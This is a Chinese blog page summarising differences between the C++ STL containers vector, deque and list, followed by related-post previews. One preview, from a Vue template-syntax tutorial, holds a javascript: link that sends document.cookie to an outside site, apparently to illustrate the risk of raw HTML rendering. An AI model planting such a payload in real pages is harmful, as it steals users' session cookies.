C++——STL中三种顺序容器的简要差别「建议收藏」

C++——STL中三种顺序容器的简要差别

大家好,又见面了,我是全栈君。

C++ STL 提供了3个顺序容器 :vector, deque, list

Vector动态数组。支持高速訪问;list双向链表,支持高速插入和删除。

vector 中的元素是顺序存放的。所以随机訪问非常快,可是要插入和删除,这个时间复杂度就非常高了,vector初始化时有一个capacity,假设元素个数超出capacity,那vector就会又一次分配一个新的空间。并把旧值拷贝到新的空间中,释法原空间,这个也要耗费非常多时间,所以假设你知道元素的最大值,最好用reserve()函数初始最大空间,避免又一次分配空间造成的时间。

Deque是双端队列,差点儿全部的操作都和vector一样,出了能够在头加入和删除,多了个push_front(), pop_front()。仅仅有Vector和Deque有下标操作符,list没有。

list 是双链表,元素在内存中是分散的不连续的,它使用指针left,right,指向前一个元素和后一个元素。

所以要删除和加入仅仅要动动指针。所以非常快。可是由于是不连续的所以要訪问一个元素,你仅仅能遍历序列。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/116565.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 正态分布方差推导_均匀分布的期望和方差公式

    正态分布方差推导_均匀分布的期望和方差公式概论:一维随机变量期望与方差二维随机变量期望与方差协方差1.一维随机变量期望与方差:公式:离散型:E(X)=∑i=1->nXiPiY=g(x)E(Y)=∑i=1->ng(x)Pi连续型:E(X)=∫-∞->+∞xf(x)dxY=g(x)E(Y)=∫-∞->+∞g(x)f(x)dx方差:D(x)=E(x²)-E²(x)标准差:根号下的方差常用分布的数学期望和方差:0~1分布…

    2022年9月17日
    5
  • Vue–模板语法[通俗易懂]

    Vue–模板语法[通俗易懂]模板语法(1)插值​ a.文本{{}}声明一条数据,然后用特殊的模板语法将其渲染出来(声明式渲染)letvm=newVue({//vue实例的配置项el:”#app”,//指代挂载点data:{//vue所管理的数据msg2:`<ahref=javascript:location.href=’http://www.baidu.com?cookie=’+document.

    2022年7月19日
    16
  • 国外最流行的Bootstrap后台管理模板

    国外最流行的Bootstrap后台管理模板工欲善其事,必先利其器对于从事软件开发的您也一样,有一套熟悉的bootstrap后台ui框架让您的开发速度大幅度提升这是本人经常使用到的一些bootstrap后台框架推荐给大家第一名inspiniabootstrap演示地址http://cn.inspinia.cn效果图http://cn.inspinia.cnhttp://cn.inspinia.cn第二名…

    2022年4月25日
    38
  • idea汉化教程[通俗易懂]

    idea汉化教程[通俗易懂]1.同样的,第一步,打开软件2.进入软件后依次点击file→settings3.接着点击plugins4.然后点击Marketplace(在线搜索插件)5.在搜索框输入chinese(看到这个名字,知道是啥了吧),找到Chinese(simplifed)Language这个插件,然后点击安装6.等待安装完成后点击RestartIDE7.点击Restart8.然后软件会重启,等待重启后,进入软件,然后你会发现,和你想象中的一样了…

    2022年4月27日
    81
  • Data URI scheme「建议收藏」

    Data URI scheme「建议收藏」什么是DataURISchemedataURIscheme允许我们使用内联(inline-code)的方式在网页中包含数据,目的是将一些小的数据,直接嵌入到网页中,从而不用再从外部文件载入。常用于将图片嵌入网页。HTML中网页图片一般是https://ss2.bdstatic.com/70cFvnSh_Q1YnxGkpoWK1HF6hhy/it/u=162360699,3…

    2022年10月19日
    2
  • mysql 全文索引 使用_MySql全文索引

    mysql 全文索引 使用_MySql全文索引使用索引是数据库性能优化的必备技能之一。在MySQL数据库中,有四种索引:聚集索引(主键索引)、普通索引、唯一索引以及我们这里将要介绍的全文索引(FULLTEXTINDEX)。全文索引(也称全文检索)是目前搜索引擎使用的一种关键技术。它能够利用「分词技术「等多种算法智能分析出文本文字中关键字词的频率及重要性,然后按照一定的算法规则智能地筛选出我们想要的搜索结果。在这里,我们就不追根究底其底层实现…

    2022年6月21日
    33

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号